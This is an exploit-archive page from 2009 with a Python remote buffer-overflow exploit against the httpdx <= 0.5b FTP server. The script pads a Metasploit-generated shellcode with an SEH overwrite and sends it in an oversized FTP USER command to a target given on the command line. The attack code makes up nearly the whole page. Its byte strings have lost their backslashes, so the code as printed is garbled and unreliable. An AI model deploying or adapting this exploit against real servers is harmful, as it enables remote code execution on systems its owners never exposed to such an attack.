[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)
# Published : 2009-05-18
# Author : His0k4
# Previous Title : KingSoft Web Shield <= 1.1.0.62 XSS/Code Execution Vulnerability
# Next Title : D-Link Products Captcha Bypass Vulnerability


#!/usr/bin/python
#[*] Usage : httpdx.py [target_ip]
# _  _   _         __    _     _ _  
#| || | (_)  ___  /    | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  __/  |__   |_| 
#
#[*] Bug     : httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)
#[*] Founder :  sico2819
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

#[x] Note : I used the case when idm is installed because its dll (idmmbc.dll) is loaded with httpdx.

import socket
import sys

host = sys.argv[1] 

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x50x42x50x4bx48x45x34x4ex33x4bx58x4ex37"
"x45x30x4ax57x41x50x4fx4ex4bx48x4fx34x4ax41x4bx58"
"x4fx45x42x42x41x30x4bx4ex49x34x4bx58x46x33x4bx38"
"x41x30x50x4ex41x33x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x45x46x32x46x30x45x57x45x4ex4bx58"
"x4fx45x46x52x41x30x4bx4ex48x36x4bx38x4ex50x4bx44"
"x4bx58x4fx55x4ex41x41x50x4bx4ex4bx48x4ex51x4bx48"
"x41x30x4bx4ex49x48x4ex35x46x32x46x50x43x4cx41x33"
"x42x4cx46x36x4bx38x42x44x42x43x45x38x42x4cx4ax47"
"x4ex50x4bx48x42x54x4ex30x4bx38x42x47x4ex41x4dx4a"
"x4bx38x4ax36x4ax50x4bx4ex49x50x4bx58x42x58x42x4b"
"x42x50x42x50x42x30x4bx48x4ax56x4ex43x4fx35x41x53"
"x48x4fx42x36x48x45x49x38x4ax4fx43x38x42x4cx4bx57"
"x42x35x4ax36x42x4fx4cx58x46x50x4fx55x4ax56x4ax49"
"x50x4fx4cx48x50x50x47x45x4fx4fx47x4ex43x46x41x56"
"x4ex36x43x36x42x30x5a")

payload =  shellcode
payload += 'x41'*(877 - len(shellcode))
payload += 'xE9x8ExFCxFFxFF'
payload += 'x90'*48
payload += 'x74xC9x90x90'
payload += 'x87x23x02x10'
payload += 'x44'*9000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,21))
s.recv(1024)
s.send('USER '+payload+'rn')
raw_input("[+] Done, press enter to quit")
s.close()

# www.Syue.com [2009-05-18]